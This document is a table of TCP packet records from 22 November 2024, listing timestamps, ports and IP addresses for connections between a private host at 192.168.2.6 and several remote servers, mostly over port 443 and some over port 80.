Nov 22, 2024 14:43:40.312400103 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.315011024 CET	49788	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.315016031 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.323415995 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.323440075 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.323506117 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.323656082 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.323673010 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.325321913 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.325355053 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.326026917 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.341216087 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.341232061 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.343142986 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.343158960 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.345243931 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:40.373002052 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:40.373042107 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:40.373143911 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:40.373451948 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:40.373469114 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:40.381628036 CET	49776	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:40.381711006 CET	49789	443	192.168.2.6	172.217.17.78
Nov 22, 2024 14:43:40.465753078 CET	80	49786	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:40.641696930 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.641856909 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.641911983 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.642167091 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.642185926 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.642226934 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.642232895 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.645221949 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.645265102 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.645375967 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.645555973 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.645586014 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.757582903 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.757652998 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.757755041 CET	49788	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.757956028 CET	49788	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.757977962 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.757992983 CET	49788	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.757998943 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.761723042 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.761756897 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.761898041 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.762110949 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.762123108 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:41.309560061 CET	80	49786	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:41.309660912 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:41.797694921 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:41.797807932 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:41.800532103 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:41.800549984 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:41.800832033 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:41.804867983 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:41.847327948 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:42.127217054 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.140650988 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.140683889 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.142925978 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.142932892 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.145205975 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.170691967 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.170725107 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.171236992 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.171252012 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.234338045 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.263339043 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.263355970 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.263955116 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.263962984 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.311487913 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:42.311573982 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:42.311635017 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:42.323725939 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:42.323750973 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:42.323765993 CET	49795	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:42.323774099 CET	443	49795	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:42.444031954 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.461581945 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.461599112 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.463685989 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.463692904 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.573113918 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.573185921 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.573251009 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.589775085 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.589847088 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.589910984 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.612632990 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.612660885 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.612677097 CET	49792	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.612684965 CET	443	49792	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.614799976 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.614841938 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.614859104 CET	49793	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.614867926 CET	443	49793	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.688517094 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.688611984 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.688744068 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.698585033 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.698606014 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.698750973 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.698757887 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.718739033 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.718775988 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.719012976 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.720043898 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.720072985 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.720208883 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.725856066 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.725891113 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.725954056 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.800160885 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.800174952 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.800333977 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.800359964 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.800924063 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.800945044 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.921156883 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.921247959 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.921356916 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.975548983 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.975569963 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:42.975584030 CET	49796	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:42.975591898 CET	443	49796	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.017678022 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.027582884 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.027631998 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.027729988 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.028074026 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.028089046 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.061779976 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.061813116 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.062563896 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.062571049 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.472994089 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.473098993 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.473157883 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.545726061 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.545726061 CET	49797	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.545742989 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.545753002 CET	443	49797	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.796497107 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.796541929 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:43.796658993 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.812946081 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:43.812967062 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.520925999 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.588752985 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:44.589490891 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.641455889 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:44.641468048 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.642236948 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:44.642247915 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.665229082 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.665631056 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:44.665640116 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.669974089 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:44.669980049 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.670430899 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:44.670450926 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.671298027 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:44.671303988 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:44.909387112 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:44.909544945 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:45.197159052 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.197170973 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.197240114 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.197248936 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.197348118 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.198359966 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.293204069 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.293230057 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.293929100 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.293934107 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.414915085 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.416296005 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.416387081 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.418627024 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.418693066 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.419433117 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.426403046 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.426486969 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.426569939 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.491453886 CET	49799	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.491492033 CET	443	49799	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.494620085 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.494659901 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.494674921 CET	49800	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.494683027 CET	443	49800	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.495161057 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.495204926 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.495225906 CET	49798	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.495234013 CET	443	49798	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.543023109 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.543051958 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.543416977 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.544624090 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.544670105 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.544725895 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.633675098 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.633899927 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.633971930 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:45.637953043 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.638079882 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.640525103 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:45.646379948 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.646517038 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.646573067 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:45.654777050 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.654829025 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.655184984 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:45.662633896 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.662709951 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.662789106 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:45.663141966 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:45.710480928 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:45.740775108 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:45.845978022 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.185497046 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:46.185539007 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:46.185607910 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:46.185987949 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:46.186042070 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:46.186122894 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:46.186224937 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:46.186239004 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:46.186445951 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:46.186465979 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:46.187005043 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.187032938 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.187671900 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.187678099 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.188024998 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.188035011 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.188163042 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.188185930 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.195121050 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.195144892 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.195159912 CET	49801	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.195166111 CET	443	49801	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.214706898 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.214808941 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.214916945 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.215096951 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.215147018 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.223294973 CET	49814	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.223345041 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.223409891 CET	49814	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.246324062 CET	49814	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.246345043 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.296310902 CET	80	49786	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:46.296365023 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:46.526372910 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.526905060 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.526963949 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.527283907 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.527302027 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.527326107 CET	49802	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.527332067 CET	443	49802	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.531440973 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.531476021 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:46.531539917 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.532537937 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:46.532552004 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:47.321295023 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:47.321696043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:47.440905094 CET	80	49786	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:47.441152096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:47.441818953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:47.475831985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:47.595341921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:47.924272060 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:47.935167074 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:47.935198069 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:47.935995102 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:47.936001062 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:47.962843895 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:47.964159966 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:47.964241028 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:47.964535952 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:47.964551926 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.003387928 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.004564047 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.004599094 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.005702019 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.005810976 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.010232925 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.010346889 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.010504007 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.010519028 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.026916981 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.027471066 CET	49814	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.027510881 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.028354883 CET	49814	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.028363943 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.052048922 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.055171967 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.055185080 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.056258917 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.056353092 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.056984901 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.057049036 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.117305040 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.119798899 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:48.119842052 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:48.119920969 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:48.120601892 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.120634079 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.121093988 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.121099949 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.121310949 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:48.121336937 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:48.146581888 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.146708965 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.146732092 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.315752983 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.335530043 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.358653069 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.358715057 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.358787060 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.397665024 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.397741079 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.397878885 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.444097996 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.470493078 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.470599890 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.470740080 CET	49814	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.511177063 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.511285067 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.511353970 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.676403999 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.676475048 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.676637888 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.821118116 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.821142912 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.822815895 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.822830915 CET	49814	443	192.168.2.6	13.107.246.63
